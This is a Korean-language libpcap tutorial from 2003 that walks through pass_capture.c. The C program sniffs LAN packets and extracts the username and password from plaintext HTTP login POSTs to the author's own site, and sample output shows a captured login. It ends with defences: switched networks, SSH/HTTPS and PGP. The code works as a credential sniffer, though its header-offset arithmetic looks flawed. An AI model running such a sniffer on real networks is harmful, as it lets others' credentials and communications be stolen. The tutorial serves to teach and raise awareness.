Recommanded Free YOUTUBE Lecture: <% selectedImage[1] %>
Docbook 원문

Pcap 을 이용한 패킷캡쳐응용

Pcap 을 이용한 패킷캡쳐응용

윤 상배

dreamyun@yahoo.co.kr

교정 과정
교정 0.82003년 1월 24일 23시
문서 작성


1절. 소개

지난번에는 pcap 소개문서인 libpcap 프로그래밍 libpcap 프로그래밍을 통해서 기본적인 패킷캡쳐 방법에 대해서 알아보았었다.

이번에는 실질적인 응용에 대해서 간단한 예제와 함께 공부해 보도록 하겠다. 지난번 libpcap 에 대한 이해를 마쳤다면, 이 문서는 가벼운 마음으로 읽어나갈수 있을것이다.


2절. ID 및 패스워드 검색 프로그램

이번에 만들고자 하는 응용은 LAN 상에서 특정 사이트에 접속하고자 하는 유저의 ID와 패스워드를 가져오는 프로그램이다.


2.1절. 이거 크래킹 프로그램 아닌가요?

어떻게 생각하면 문제의 소지가 있는 프로그램이 아닐까라고 생각 되지도 하지만 어차피 tcpdump 를 어느정도 사용할줄 아는 유저라면 단순 tcpdump 분석을 하든지 아니면 이미 인터넷에 널려 있는 다른 프로그램들을 사용하든지, 암호화 통신을 하지 않는 사이트에 대한 ID, Password 는 손쉽게 가져올수 있을 것임으로 특별히 악용될것이라고는 생각되지 않는다.

그리고 어차피 이러한 기능은 상용으로 판매하는 여러 IDS 에서도 부가적으로 제공하는 기능들이다. 이런 점에서 봤을때 회사내부에서 암호화 통신을 하지 않는 사이트(혹은 telnet 연결)들을 돌아다니는 것은 대단히 위험하다. 마음만 먹으면 누구든지 ID 와 Password 를 간단히 빼낼수 있으며, 메신저등을 사용할때 그 내용역시 쉽게 도청될수 있다.

이러한 류의 크래킹 깁버은 일반적인 크래킹유형이며, 막는 방법도 널리 알려져 있다. 문서의 끝에서는 이러한 방법에 대해서도 알아보도록 할것이다.


2.2절. 구현 방법

libpcap 에 대한 문서를 읽어보고 거기에 대한 이해를 한상태라면 이런 프로그램은 구현이라고 말할 성질의 것도 아니다. 단지 http 상에서 ID 와 PASSWORD 를 넘길때 어떻게 넘기는지 에 대한 이해가 있고, 문자열을 다루기 위한 C의 표준 문자열관련 함수만 알고 있다면 구현은 식은죽 먹기이다. 남은건 다만 어떻게 좀더 효율적으로 원하는 정보(id, password)를 간추려서 보여줄것인가 하는 고민 정도이다.

여기에서는 아주 원시적인 방법을 사용할것이다. Id 와 password 를 빼내오기를 원하는 타켓 사이트를 정하고 (여기에서는 www.joinc.co.kr 을 타겟 사이트로 할것이다 -.-;) 해당 사이트에서 ID 와 Password 입력후 로그인 버튼을 클릭했을때 어떤 특정한 데이타가 전달되는지를 확인후, 그 데이타를 포함한 패킷을 캡쳐하도록 코딩하는 것이다. 비록 원시적인 방법이긴 하지만 원리를 설명하는데에는 부족함이 없을 것으로 생각된다.


2.3절. id, password 전달문자열 확인하기

Post 방식으로 전달되는데, 이때 정확하게 어떤 방식으로 전달되어야 하는지 알아야될 필요가 있다. www.joinc.co.kr 의 HTML 페이지 쏘스를 보면 id 는 uname, 패스워드는 pass를 통해서 전달되는걸 확인할수 있다.

libpcap 프로그래밍의 예제프로그램을 이용해서 id 와 password 입력시 서버측에 어떤 메시지가 전달되는지 확인하고 해당메시지에 포함된 문자열만을 추출해 내면 된다. 필자가 본인의 사이트를 확인해본결과(-.-) 다음과 같이 전달됨을 확인할수 있었다.

....
....
uname=xxxxx&pass=yyyy&....
....
			
그럼으로 uname=xxxx&pass=yyyy 문자열을 만나면, 해당 사이트로 아이디와 패스워드가 전달되는 것으로 판단하고 xxxx 와 yyyy 를 추출해내면 될것이다.


2.4절. 예제코드

여기에 있는 코드는 일반적인 코드는 아니고, www.joinc.co.kr 에 대해서만 적용시킬수 있는 코드이다. 좀더 일반적인 코드로 만드는건 각자의 몫이다. 마찬가지로 예제코드는 구현가능여부에 촛점을 맞춘 코드로써 효율적인 측면등은 고려하지 않았다.

코드는 libpcap 에 대한이해를 하고 있다면 어렵지 않게 이해 가능할것임으로 설명은 코드에 있는 주석으로 대신하도록 하겠다.

예제 : pass_capture.c

#include <sys/time.h>
#include <netinet/in.h>
#include <net/ethernet.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/udp.h>
#include <netinet/ip_icmp.h>
#include <pcap/pcap.h>

#define PROMISCUOUS 1
#define NONPROMISCUOUS 0
#define TCPHEADERSIZE 6*4 

// IP 헤더 구조체
struct ip *iph;
// TCP 헤더 구조체
struct tcphdr *tcph;

// 패킷을 받아들일경우 이 함수를 호출한다.  
// packet 가 받아들인 패킷이다.
void callback(u_char *useless, const struct pcap_pkthdr *pkthdr,
                const u_char *packet)
{
    struct ether_header *ep;
    unsigned short ether_type;

    char *uname = NULL;
    char *pass = NULL;
    char buf[80];

    // 이더넷 헤더를 가져온다. 
    ep = (struct ether_header *)packet;


    // IP 헤더를 가져오기 위해서 
    // 이더넷 헤더 크기만큼 offset 한다. 
    packet += sizeof(struct ether_header);
    ether_type = ntohs(ep->ether_type);

    // Network Layer 의 Protocol 타입을 알아낸다.  
    // 만약 IP 프로토콜을 사용한다면 
    // IP 정보를 얻어온다.  
    if (ether_type == ETHERTYPE_IP)
    {
        iph = (struct ip *)packet;
        if (iph->ip_p == IPPROTO_TCP)
        {
            tcph = (struct tcp *)(packet + iph->ip_hl * 4);
        }

        memset(buf, 0x00, 80);

        // 유저 데이타를 얻어오기 위해서 
        // IP, TCP, Ethernet 헤더 크기만큼 offset 한다. 
        packet += (iph->ip_hl * 4)+TCPHEADERSIZE+(sizeof(struct ether_header));

        // 패킷에 ID와 password 관련 문자열을 포함하는지 확인한다.  
        if ( ((uname = strstr(packet, "uname=")) != NULL)
            && ((pass = strstr(packet, "&pass=")) != NULL))
        {
            // 헤더 정보를 출력한후
            printf("HEADER INFO\n");
            printf("Src Address : %s\n", inet_ntoa(iph->ip_src));
            printf("Dst Address : %s\n", inet_ntoa(iph->ip_dst));

            printf("Src Port    : %d\n" , ntohs(tcph->source));
            printf("Dst Port    : %d\n" , ntohs(tcph->dest));

            // 문자열에서 필요한 정보 즉 ID와 Password 만을 
            // 추출해 낸다.   
            strncpy(buf, uname+6, strstr(uname, "&") - (uname + 6));
            printf("Uname : <%s>\n", buf);
            memset(buf, 0x00, 80);
            strncpy(buf, pass+6, strstr(pass+6, "&") - (pass + 6));
            printf("Pass  : <%s>\n", buf);
            printf("======================\n\n");
        }
    }
}

int main(int argc, char **argv)
{
    char *dev;
    char *net;
    char *mask;

    bpf_u_int32 netp;
    bpf_u_int32 maskp;
    char errbuf[PCAP_ERRBUF_SIZE];
    int ret;
    struct pcap_pkthdr hdr;
    struct in_addr net_addr, mask_addr;

    struct bpf_program fp;

    pcap_t *pcd;  // packet capture descriptor

    //  디바이스 이름을 얻어온다.
    dev = pcap_lookupdev(errbuf);
    if (dev == NULL)
    {
        printf("%s\n", errbuf);
        exit(1);
    }
    printf("DEV : %s\n", dev);
    // 디바이스에 대한 네트웍 정보를 얻어온다.  
    ret = pcap_lookupnet(dev, &netp, &maskp, errbuf);
    if (ret == -1)
    {
        printf("%s\n", errbuf);
        exit(1);
    }

    // 네트웍 정보를 사람이 보기 쉽도록 
    // 변환한다음 출력한다.
    net_addr.s_addr = netp;
    net = inet_ntoa(net_addr);
    printf("NET : %s\n", net);

    mask_addr.s_addr = maskp;
    mask = inet_ntoa(mask_addr);
    printf("MSK : %s\n", mask);
    printf("=======================\n");

    // 디바이스에 대한 packet capture descriptor 
    // 를 얻어온다.  
    pcd = pcap_open_live(dev, BUFSIZ,  NONPROMISCUOUS, -1, errbuf);
    if (pcd == NULL)
    {
        printf("%s\n", errbuf);
        exit(1);
    }

    // 컴파일 옵션을 준다.  
    if (pcap_compile(pcd, &fp, argv[2], 0, netp) == -1)
    {
        printf("compile error\n");
        exit(1);
    }
    // 컴파일 옵션대로 필터룰을 세팅한다. 
    if (pcap_setfilter(pcd, &fp) == -1)
    {
        printf("setfilter error\n");
        exit(0);
    }
    
    // 지정된 횟수만큼 패킷캡쳐를 한다.
    // pcap_setfilter 을 통과한 패킷에 대해서
    // callback 함수를 호출한다. 
    pcap_loop(pcd, atoi(argv[1]), callback, NULL);
}
			
다음은 위의 프로그램을 이용해서 실제로 아이디와 패스워드를 캡쳐한 결과이다.
[root@localhost pcap_test]# ./pass_capture -l "port 80"
DEV : eth0
NET : 211.244.233.0
MSK : 255.255.255.0
=======================
HEADER INFO
Src Address : 211.244.233.55
Dst Address : 218.234.19.87
Src Port    : 33189
Dst Port    : 80
Uname : <yundream>
Pass  : <xxxxxx>
======================

HEADER INFO
Src Address : 218.234.19.87
Dst Address : 211.244.233.55
Src Port    : 80
Dst Port    : 33189
Uname : <yundream>
Pass  : <xxxxxx>
======================
			
위의 프로그램은 문자열을 이용해서 아이디와 패스워드를 캡쳐해내고 있는데, 여기에 port, ip 등의 조건을 입력한다면 좀더 정확한 결과를 얻을수 있을것이다. 이 프로그램은 LAN 상에 묶여있는 모든 호스트에서 발생하는 패킷에 대한 검사를 수행하게 될것이다(스위칭 라우터(허브)에 의해서 관리 되지 않는다는 가정하에).


2.5절. 정보 누출을 막는 방법

위의 코드를 보면 알겠지만, 마음만 먹는다면 누군가의 정보를 가져오는게 그리 어려운일이 아니라는걸 알수 있다. 이 말은 역으로 여러분의 정보 역시 쉽게 도청당할 수 있음을 뜻하기도 한다. 위의 코드의 약간의 응용만으로도 TELNET, 메신져, MAIL 등의 정보도청이 가능할것이다.

이러한 패킷캡쳐에 의한 정보누출을 가장 간단한 방법은 스위칭 라우터 혹은 스위칭 허브를 이용해서 로컬네트웍을 세그먼트 단위로 나누는 방법이될것이다. 이경우 패킷은 전달되어야 하는 세그먼트로만 전송될것임으로 LAN 상의 다른 호스트에서 패킷을 훔쳐볼수 없을것이다(보안적인 측면외에도 로컬 네트웍 트래픽을 줄일수 있다는 장점도 가진다).

그러나 스위칭 라우터(허브)를 이용하는것은 완벽한 방법이아니다. 몇몇 알려진 sniffing 기법에 의해서 어렵지 않게 패킷을 훔쳐볼수 있기 때문이다(네트웍 보안의 기본(1) 을 참고하라). 현재 생각할수 있는 가장 훌륭한 정보누출을 막는 방법은 암호화 통신이 될것이다. telnet 혹은 http 대신에 SSL 을 이용하는 ssh 나 https 서비스를 사용해서 패킷을 암호화 하거나, 메일전송시 PGP 등을 이용해서 메일내용을 암호화해서 보내는 방법등이 있을것이다.